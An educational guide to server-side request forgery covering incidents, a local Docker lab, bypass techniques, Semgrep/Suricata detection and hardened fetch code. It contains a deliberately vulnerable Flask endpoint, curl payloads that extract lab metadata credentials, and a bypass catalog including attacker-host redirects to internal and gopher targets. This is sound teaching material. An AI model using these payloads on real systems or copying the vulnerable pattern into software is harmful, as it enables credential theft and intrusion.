Skip to main content

SSRF Explained: Server-Side Request Forgery Attack Examples and Prevention

Server-side request forgery (SSRF) lets an attacker make the application's own server send requests anywhere that server can reach: localhost, internal networks, cloud metadata. It is CWE-918, entered OWASP's Top 10 as A10:2021, and in the 2025 edition was folded into A01 Broken Access Control. This guide covers the mechanics, a reproducible local lab, detection, and fixes.

What SSRF is and why it keeps mattering

SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL. The attacker co-opts the application's own network position, which is trusted by everything behind the firewall, VPN, or network ACL, so SSRF turns a firewall into a non-factor. OWASP introduced it as A10:2021 with 9,503 recorded occurrences and 385 mapped CVEs in that dataset, an average weighted exploit score of 8.28 / 10, and an average weighted impact of 6.72 / 10.

The 2025 OWASP Top 10 no longer lists SSRF as a standalone category: the release notes state it was rolled into A01:2025 Broken Access Control, the same category as IDOR. That is a taxonomy change, not a risk change: the underlying weakness, CWE-918 (Server-Side Request Forgery), is the same, and the cloud-metadata angle keeps it at the top of every bug-bounty program's payout table.

Three real incidents show the range of impact:

IncidentSSRF roleOutcome
Capital One, 2019SSRF through a misconfigured web application firewall reached the EC2 metadata service (169.254.169.254), returned IAM role credentials, which were then used against S3.~100M US and ~6M Canadian credit-application records exposed; a former AWS engineer was charged by the DOJ.
CVE-2021-40438, Apache httpdCrafted request URI-path made mod_proxy forward to an origin server chosen by the remote user: SSRF in the reverse proxy itself.Affects 2.4.48 and earlier; fixed in 2.4.49 (2021-09-16). Reverse proxies are a first-class SSRF attack surface.
CVE-2026-15409, SonicWall SMA1000SSRF in the appliance.CVSS 10.0; added to the CISA Known Exploited Vulnerabilities catalog on 2026-07-14 with confirmed exploitation linked to ransomware campaigns, evidence SSRF remains an active initial-access vector.

In MITRE ATT&CK terms, SSRF is the mechanism behind T1190 (Exploit Public-Facing Application), and the metadata-credential variant lands squarely in T1552.005 (Unsecured Credentials: Cloud Instance Metadata API).

Attack anatomy: three trust relationships

SSRF attacks abuse the trust other systems place in the vulnerable application's network position. Concretely:

  • Against the server itself: pointing the fetch at http://127.0.0.1:8080/admin or another localhost port. Access-control checks that trust loopback traffic (or admin interfaces bound to non-public ports) are bypassed.
  • Against back-end systems: pointing it at RFC 1918 addresses such as http://192.168.0.68/admin. Internal services are often unauthenticated because the network topology was the only control, the gap default-deny Kubernetes NetworkPolicies close from the other side.
  • Against cloud metadata: pointing it at http://169.254.169.254/latest/meta-data/iam/security-credentials/ to steal temporary IAM credentials, then using them against S3, SSM, or the control plane (the Capital One chain).
  1. 1. Attacker

    Submits a URL pointing at 169.254.169.254

  2. 2. Application

    Fetches it from inside the VPC

  3. 3. Metadata service

    Returns temporary IAM role credentials

  4. 4. Attacker

    Uses the credentials against S3 or the control plane

The cloud-metadata SSRF chain: the application’s trusted network position turns one unvalidated URL into cloud credentials.

The request flow is a simple relay: the attacker never talks to the target directly:

Attacker ──crafted URL──▶ Vulnerable App ──HTTP/FTP/gopher...──▶ Target (internal)
                             │                                          │
                             └────────────── response ──────────────────┘
                             │
                             └── response relayed to attacker (full SSRF)
                                or no response relayed (blind SSRF)

A typical request pair, the classic "stock API" pattern, where the app fetches a URL the user supplies:

POST /product/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded

stockApi=http://localhost/admin

The server performs GET /admin from its own loopback interface and relays the response. The same primitive works with the metadata endpoint substituted for localhost. Any server-side fetcher is an entry point, including XML parsers that resolve external entities (XXE is a common route to SSRF).

Reproducible local lab

Everything below runs against local containers on your machine, with no live targets and no weaponized payloads. The lab emulates the AWS metadata endpoint at its real address, 169.254.169.254, using a Docker network with a link-local subnet.

docker-compose.yml

services:
  app:
    build: .
    ports:
      - "8080:8080"
    networks:
      lab:
        ipv4_address: 169.254.0.10
  metadata:
    image: nginx:alpine
    volumes:
      - ./metadata.conf:/etc/nginx/conf.d/default.conf:ro
    networks:
      lab:
        ipv4_address: 169.254.169.254

networks:
  lab:
    ipam:
      config:
        - subnet: 169.254.0.0/16

Docker on a few hosts refuses link-local subnets. If docker compose up errors on the subnet, switch the network to 172.28.0.0/16, give the metadata container 172.28.0.66, and use that address in every walkthrough URL below. The behavior is identical, only the IP changes.

Dockerfile

FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir flask requests
COPY app.py .
EXPOSE 8080
CMD ["python", "app.py"]

app.py: vulnerable fetch endpoint

from flask import Flask, Response, request
import requests

app = Flask(__name__)


@app.get("/fetch")
def fetch():
    """Fetch a URL server-side. The url parameter is fully attacker-controlled."""
    url = request.args.get("url", "")
    if not url.startswith(("http://", "https://")):
        return "only http(s) allowed", 400
    resp = requests.get(url, timeout=5)  # follows redirects by default
    return Response(resp.content, content_type=resp.headers.get("Content-Type", "text/plain"))


@app.get("/flag")
def flag():
    """Simulates an internal-only admin endpoint behind the network ACL."""
    return "internal-only: flag{ssrf-locally-verified}"


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

metadata.conf: fake cloud metadata service

server {
    listen 80;

    location = /latest/meta-data/iam/security-credentials/ {
        add_header Content-Type application/json;
        return 200 '{"Code":"Success","AccessKeyId":"AKIALABEXAMPLE","SecretAccessKey":"lab-secret","Token":"lab-token","Expiration":"2027-01-01T00:00:00Z"}';
    }

    location /latest/meta-data/ {
        return 200 'lab-metadata-ok';
    }
}

Run it and exploit it

docker compose up --build

First, confirm the endpoint works as intended against the public internet:

$ curl -s "http://localhost:8080/fetch?url=https://example.com/" | head -1
<!doctype html>

Now the metadata credential theft. This is the Capital One chain in miniature. One request, no authentication:

$ curl -s "http://localhost:8080/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
{"Code":"Success","AccessKeyId":"AKIALABEXAMPLE","SecretAccessKey":"lab-secret","Token":"lab-token","Expiration":"2027-01-01T00:00:00Z"}

And the loopback trust bypass: the request reaches the app's own internal endpoint through the same primitive:

$ curl -s "http://localhost:8080/fetch?url=http://127.0.0.1:8080/flag"
internal-only: flag{ssrf-locally-verified}

What does not work (and why that teaches you more)

Failed payloads are as instructive as successful ones:

  • file:///etc/passwd: Python's requests has no adapter for the file scheme, so this raises InvalidSchema. The same is not true of stacks with richer scheme support (curl, Go's stdlib with custom handlers, some Java HTTP clients). Scheme abuse is stack-dependent, which is why OWASP lists file://, gopher://, dict://, data:// and phar:// as SSRF schemes to block.
  • The app's startswith scheme check rejects file:// but accepts every attack that matters. Scheme filtering alone is not a defense.
  • Add a naive deny-list blocking 127.0.0.1 and 169.254.169.254 to the app, then attack through a redirect you control. requests follows redirects by default, so a URL like http://attacker.example/r?to=http://127.0.0.1:8080/flag sails past the filter. On Linux, http://0.0.0.0:8080/flag also works: the kernel routes connections to the unspecified address to loopback.

Bypassing common defenses

The pattern to internalize: filters that inspect a string lose to parsers that interpret it differently downstream. OWASP's own guidance is blunt: do not mitigate SSRF with a deny-list or regex. The table below is the standard bypass catalog (PortSwigger's Web Security Academy is the canonical reference):

DefenseBypassExample
Deny-list on hostname stringsAlternative IP encodings (decimal, octal, hex, short forms), DNS rebinding, redirects, 0.0.0.0. Whether a given encoding works depends on the HTTP stack's resolver, so test in the lab.2130706433 (decimal 127.0.0.1), 127.1, 0177.0.0.1, http://0.0.0.0:8080/flag
Whitelist prefix checkURL-authority tricks that make the parser and the filter disagree: credentials, fragments, DNS hierarchy, encoding.https://trusted.com@evil.example/, https://evil.example#trusted.com, https://trusted.com.evil.example/
Scheme allowlist (http/https only)Cross-scheme redirects and protocol confusion: the first request is https, the redirect target is gopher, dict, or file.https://attacker.example/redirect → gopher://redis:6379/_...
Hostname validation, no re-check on connectDNS rebinding and TOCTOU races: the hostname resolves to a public IP when validated and to an internal IP when connected.attacker.example alternates 8.8.8.8 and 127.0.0.1 with a short TTL

OWASP's A10:2021 guidance calls this out directly: enforce URL scheme, port, and destination with a positive allowlist, disable HTTP redirections, and be aware of URL consistency to avoid DNS-rebinding and TOCTOU races.

How to detect SSRF

Detection works at three layers: static analysis in CI, network signatures, and outbound-flow logging.

Static analysis (Semgrep)

The OWASP cheat sheet points to the public Semgrep registry (q=ssrf) as a starting point. A minimal rule for the pattern above:

rules:
  - id: ssrf-unsanitized-url
    languages: [python]
    severity: WARNING
    message: >-
      User-controlled URL reaches a network request without SSRF validation
      (CWE-918). Validate the scheme, every resolved IP (A + AAAA), and
      disable redirects before fetching (OWASP SSRF Prevention Cheat Sheet).
    patterns:
      - pattern-either:
          - pattern: requests.get($URL, ...)
          - pattern: requests.post($URL, ...)
          - pattern: requests.request($METHOD, $URL, ...)

Expect noise: once you ship a guard helper like fetch_safe(), the rule matches your own safe call sites. Add a pattern-not for the helper or move the rule to review-only severity.

Network signatures (Suricata)

Two example signatures (SIDs 1,000,000+ are reserved for local rules, so tune before production):

alert http any any -> any any (msg:"SSRF: cloud metadata path requested"; \
  flow:established,to_server; content:"/latest/meta-data/"; http_uri; \
  classtype:attempted-info-leak; sid:1000001; rev:1;)

alert http any any -> any any (msg:"SSRF: link-local metadata host as destination"; \
  flow:established,to_server; content:"169.254.169.254"; http_host; \
  classtype:attempted-info-leak; sid:1000002; rev:1;)

Log signals

  • Outbound HTTP from the app tier to 169.254.169.254, metadata.google.internal, or any link-local/loopback address. This should never appear in access logs.
  • App-tier connections to RFC 1918 destinations the application has no business calling (metadata, databases, admin panels).
  • Non-HTTP schemes in fetch parameters (gopher, dict, file).
  • The redirect flavor of the attack leaves a distinctive two-hop trace: an outbound fetch to an external host followed within milliseconds by a loopback or internal request.

How to prevent SSRF

The OWASP cheat sheet splits prevention into two cases, and the choice of control depends on which one you are in:

SituationControl that actually works
The app only ever calls identified, trusted applications (internal services, a fixed API)Positive allowlist: exact hostname/IP list, scheme and port allowlist, redirects disabled. Validate with parser-safe libraries (e.g. Apache Commons Validator in Java, ip-address in JS, ipaddress in Python).
The app must fetch arbitrary external URLs (webhooks, avatar uploads, link previews)Deny-list as a last resort: OWASP explicitly warns it is bypass-prone. Minimum: block metadata endpoints, loopback, RFC 1918, link-local, and multicast ranges for every resolved IP (A and AAAA), pin the connection to the validated IP, disable redirects or re-validate each hop, and allow only http/https.
Cloud deploymentsEnforce IMDSv2 on AWS (PUT-token based; disable IMDSv1), scope IAM roles on the app tier to the minimum, and put the URL-fetching service behind an egress firewall with deny-by-default rules.
Any deploymentNetwork segmentation: run URL-fetching functionality in its own segment so a compromise does not reach the whole backend. Never echo raw responses to the client when the Content-Type is non-text.

Python (requests): resolve, validate, pin, no redirects

The core idea: resolve the hostname once, reject the request if any resolved address is non-public, then connect to the validated address, so a DNS rebinding race between validation and connection has nothing to win.

import ipaddress
import socket
import ssl
import urllib.parse

import requests
from requests.adapters import HTTPAdapter
from urllib3 import HTTPConnectionPool, HTTPSConnectionPool, Retry


def _resolve_all(host: str) -> list[str]:
    """Every A/AAAA address for a host, deduplicated."""
    infos = socket.getaddrinfo(host, None, proto=socket.IPPROTO_TCP)
    return list({info[4][0] for info in infos})


def _is_blocked(ip: str) -> bool:
    addr = ipaddress.ip_address(ip)
    # Normalize IPv4-mapped IPv6 (::ffff:127.0.0.1 -> 127.0.0.1)
    if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped is not None:
        addr = addr.ipv4_mapped
    return (
        addr.is_private          # RFC 1918 + IPv6 ULA (fc00::/7)
        or addr.is_loopback      # 127.0.0.0/8, ::1
        or addr.is_link_local    # 169.254.0.0/16, fe80::/10 - covers 169.254.169.254
        or addr.is_multicast     # 224.0.0.0/4, ff00::/8
        or addr.is_unspecified   # 0.0.0.0, ::
        or addr.is_reserved      # 240.0.0.0/4 and other special ranges
    )


class SSRFGuardAdapter(HTTPAdapter):
    """Resolve + validate every IP, then pin the connection to a validated IP.

    get_connection_with_tls_context() returns a pool whose host is the
    validated IP, so the socket never re-resolves the hostname (no
    DNS-rebinding window). Because the pool is keyed by IP, two things must
    be restored by hand: the Host header (otherwise requests derives it from
    the pool host and sends the IP, breaking virtual-host routing), and the
    TLS identity — server_hostname drives SNI while assert_hostname pins the
    certificate check to the real name, both set to the original hostname.
    Requires requests >= 2.32.2 (get_connection_with_tls_context) / urllib3 2.x
    (server_hostname / assert_hostname as documented pool parameters).
    """

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self._pools = []  # custom pools bypass the pool manager; track for close()

    def get_connection_with_tls_context(self, request, verify, proxies=None, cert=None):
        parsed = urllib.parse.urlsplit(request.url)
        host = parsed.hostname or ""
        ips = _resolve_all(host)
        if not ips or any(_is_blocked(ip) for ip in ips):
            raise requests.exceptions.InvalidURL(
                f"destination resolves to a blocked address: {host}"
            )
        # Prefer IPv4 when available (both families are validated above).
        ip = next((a for a in ips if ":" not in a), ips[0])
        port = parsed.port or (443 if parsed.scheme == "https" else 80)
        # The pool is pinned to the IP, so restore the original Host header —
        # otherwise requests sends the IP and virtual-host routing breaks. The
        # same PreparedRequest is sent by the adapter, so this reaches the wire.
        request.headers["Host"] = host if port in (80, 443) else f"{host}:{port}"
        pool_kwargs = dict(
            maxsize=self._pool_maxsize,
            block=self._pool_block,
            retries=Retry(0, read=False),
        )
        if parsed.scheme == "https":
            # Carry the caller's TLS policy into the pool: requests passes
            # verify (bool or CA-bundle path) and cert (path or (cert, key)).
            if verify is False:
                pool_kwargs["cert_reqs"] = ssl.CERT_NONE
            else:
                pool_kwargs["cert_reqs"] = ssl.CERT_REQUIRED
                # requests defaults to the certifi bundle; keep the same anchors.
                pool_kwargs["ca_certs"] = requests.certs.where() if verify is True else verify
            if cert is not None:
                if isinstance(cert, tuple):
                    pool_kwargs["cert_file"], pool_kwargs["key_file"] = cert
                else:
                    pool_kwargs["cert_file"] = cert
            pool = HTTPSConnectionPool(
                ip, port, server_hostname=host, assert_hostname=host, **pool_kwargs
            )
            # Socket pinned to the validated IP; SNI (server_hostname) and the
            # certificate hostname check (assert_hostname) are validated against
            # the real name, and the Host header set above carries it too.
        else:
            pool = HTTPConnectionPool(ip, port, **pool_kwargs)
        self._pools.append(pool)  # track so Session.close() closes them too
        return pool

    def close(self):
        super().close()
        for pool in self._pools:
            pool.close()


def fetch_safe(url: str, timeout: int = 5) -> requests.Response:
    with requests.Session() as session:
        session.mount("http://", SSRFGuardAdapter())
        session.mount("https://", SSRFGuardAdapter())
        resp = session.get(url, timeout=timeout, allow_redirects=False)
        if resp.is_redirect:
            raise requests.exceptions.TooManyRedirects("redirects disabled (SSRF guard)")
        return resp

Against the lab, fetch_safe() rejects every payload from the walkthrough: metadata (link-local), loopback, redirects, and file:// all raise before a socket is opened.

Go (net/http): guarded DialContext

Go's transport separates the dial address from the TLS ServerName, so HTTPS keeps working with correct SNI while the connection is pinned to a validated IP:

package main

import (
    "context"
    "fmt"
    "net"
    "net/http"
    "time"
)

// blocked reports whether ip is loopback, private, link-local, or otherwise
// non-routable. The metadata endpoint 169.254.169.254 is link-local and is
// covered by IsLinkLocalUnicast.
func blocked(ip net.IP) bool {
    if v4 := ip.To4(); v4 != nil {
        ip = v4 // normalize IPv4-mapped IPv6
    }
    return !ip.IsGlobalUnicast() || ip.IsPrivate() || ip.IsLoopback() ||
        ip.IsLinkLocalUnicast() || ip.IsUnspecified() || ip.IsMulticast()
}

func guardedClient() *http.Client {
    dialer := &net.Dialer{Timeout: 5 * time.Second}
    transport := &http.Transport{
        DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
            host, port, err := net.SplitHostPort(addr)
            if err != nil {
                return nil, err
            }
            ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
            if err != nil {
                return nil, err
            }
            if len(ips) == 0 {
                return nil, fmt.Errorf("no addresses for %q", host)
            }
            for _, ip := range ips {
                if blocked(ip.IP) {
                    return nil, fmt.Errorf("blocked non-public address %s", ip.IP)
                }
            }
            // Pin the connection to a validated address (no re-resolution).
            return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))
        },
    }
    return &http.Client{
        Transport: transport,
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return fmt.Errorf("redirects disabled (SSRF guard)")
        },
        Timeout: 10 * time.Second,
    }
}

Node.js (http/https): pinned lookup, SNI preserved, manual redirects

The example below resolves and validates every address at connect time: ipaddr.js (the OWASP cheat sheet's recommended approach) classifies IPv4 and IPv6 in one call. The code then pins the socket to a validated address, and keeps the original hostname for TLS SNI and certificate validation:

import { request as httpRequest } from 'node:http';
import { request as httpsRequest } from 'node:https';
import { lookup } from 'node:dns/promises';
import ipaddr from 'ipaddr.js'; // npm i ipaddr.js — complete IPv4/IPv6 classification

// Reject everything that is not a globally routable unicast address:
// private (RFC 1918), loopback, link-local (incl. 169.254.169.254),
// multicast, unspecified, ULA (fc00::/7), IPv4-mapped, and reserved ranges.
function assertPublic(address) {
  const addr = ipaddr.parse(address);
  const ip = addr.kind() === 'ipv6' && addr.isIPv4MappedAddress() ? addr.toIPv4Address() : addr;
  if (ip.range() !== 'unicast') throw new Error('blocked non-public address ' + address);
}

export function fetchSafe(urlString, { timeout = 5000 } = {}) {
  return new Promise((resolve, reject) => {
    const url = new URL(urlString);
    if (url.protocol !== 'http:' && url.protocol !== 'https:') {
      reject(new Error('scheme not allowed'));
      return;
    }
    const host = url.hostname.replace(/^\[|\]$/g, '');
    // IP-literal target: Node skips the lookup override for IPs, so the
    // pinned callback never runs — reject before any connection.
    if (ipaddr.isValid(host)) assertPublic(host);
    // Resolve and validate at connect time, then pin the socket to the
    // validated address — no window for DNS rebinding between check and use.
    const pinned = (hostname, options, cb) => {
      lookup(hostname, { all: true })
        .then((records) => {
          if (records.length === 0) throw new Error('no addresses for ' + hostname);
          for (const { address } of records) assertPublic(address);
          // Prefer IPv4 when available (both families are validated above).
          const sorted = [...records].sort((a, b) => a.family - b.family);
          // Node's lookup contract: options.all -> cb(err, addresses[]),
          // otherwise cb(err, address, family).
          if (options.all) cb(null, sorted);
          else cb(null, sorted[0].address, sorted[0].family);
        })
        .catch((err) => cb(err));
    };
    const mod = url.protocol === 'https:' ? httpsRequest : httpRequest;
    const req = mod(
      url,
      {
        lookup: pinned,           // socket connects to the validated IP
        servername: url.hostname, // HTTPS SNI + cert validation keep the hostname
        headers: { Host: url.host },
        timeout,
      },
      (res) => {
        if (res.statusCode >= 300 && res.statusCode < 400) {
          res.resume();
          reject(new Error('redirects disabled (SSRF guard)'));
          return;
        }
        resolve(res);
      },
    );
    req.on('timeout', () => req.destroy(new Error('request timed out')));
    req.on('error', reject);
    req.end();
  });
}

Network layer and cloud metadata

  • Segment remote-resource-fetching functionality into its own network; enforce deny-by-default egress firewall rules so the app tier can only reach what it must (OWASP A10:2021 network-layer guidance).
  • AWS: enable IMDSv2 and disable IMDSv1. IMDSv2 requires a PUT-obtained session token plus the X-aws-ec2-metadata-token header, so a plain GET-based SSRF can no longer read credentials directly. This is a defense-in-depth layer, not a replacement for input validation: an SSRF with full request control can still obtain the token.
  • GCP and Azure metadata services are reachable at the same link-local address 169.254.169.254 (GCP also via metadata.google.internal); the OWASP deny-list table blocks all of them plus RFC 1918, loopback, and multicast ranges as a minimum.

Prevention checklist

CheckHow to verify
Every server-side fetch is inventoried (requests, urllib, http, fetch, curl, proxy rules)grep the codebase + configs; SAST rule in CI flags new call sites
Scheme allowlist enforced (http/https)Send file://, gopher://, dict://; expect rejection
All resolved IPs validated (A + AAAA), connection pinnedPoint the app at a domain alternating public/private answers with a short TTL (DNS rebinding): connection must still be blocked
Redirects disabled or re-validated per hopServe a 302 from a host you control to http://169.254.169.254/; expect rejection
Metadata endpoints blocked (AWS/GCP/Azure, 169.254.169.254)Lab walkthrough request: expect block; network signature fires on metadata path
Egress firewall deny-by-default from app tierAttempt app → internal admin port from the app host; observe deny logs
IMDSv2 enforced, IMDSv1 disabled (AWS)aws ec2 describe-instances shows HttpTokens: required on every instance
Outbound-to-metadata alerts configuredTrigger the Suricata rule or log query in staging; confirm the alert fires

Key takeaways

  • SSRF converts the application's trusted network position into a proxy for the attacker: firewalls and ACLs are irrelevant once the fetch is attacker-controlled.
  • The metadata chain (169.254.169.254 → IAM credentials → S3/control plane) is the highest-impact variant; it drove the Capital One breach and remains a current initial-access vector (CVE-2026-15409, KEV July 2026).
  • Allowlists beat deny-lists; deny-lists are a documented last resort. Whatever you use, validate every resolved IP, pin the connection, and disable redirects.
  • Detection is cheap relative to the blast radius: SAST in CI, two Suricata signatures, and outbound-flow logs catch the common variants.

Frequently asked questions

What is server-side request forgery (SSRF)?
SSRF (CWE-918) is a flaw where an application fetches a URL the user controls without validating it, so the attacker can make the server send requests to localhost, internal networks, or cloud metadata endpoints that are unreachable from the internet.
Why is the cloud metadata endpoint the most dangerous SSRF target?
The metadata service at 169.254.169.254 hands out temporary IAM credentials to anything on the instance. An SSRF that reaches it lets the attacker steal those credentials and use them against S3, SSM, or the cloud control plane. That is the chain behind the Capital One breach.
Is a deny-list of internal IP ranges enough to stop SSRF?
No. Deny-lists are bypassed with alternative IP encodings, redirects, and DNS rebinding. Use an allowlist of destinations, validate every resolved IP address, pin the connection to the validated address, and disable redirects.
How do you detect SSRF?
Combine SAST taint rules in CI (user input reaching an HTTP client), network signatures for requests to metadata and internal addresses, and outbound-flow logs that flag the application server connecting to destinations it never normally reaches.

Kokkuvõte eesti keeles

Server-Side Request Forgery (SSRF) on rünnak, kus ründaja sunnib rakendust tegema päringuid serveri enda nimel, näiteks localhosti, sisemiste teenuste või pilve metaandmete lõpp-punkti (169.254.169.254) poole. Nii saab varastada IAM-mandaate ja pääseda ligi sisemistele süsteemidele, mida tulemüür kaitseb. Peamised kaitsed: positiivne lubatud-URL-ide nimekiri (allowlist), kõigi DNS-ist lahendatud IP-aadresside kontroll, ümbersuunamiste keelamine ning võrgu tasandil deny-by-default egress-tulemüür. AWS-is lülitage sisse IMDSv2 ja keelake IMDSv1. Täielik laborikäik ja koodinäited on ülal inglise keeles.

Sources

Related Guides

All security guides by attack family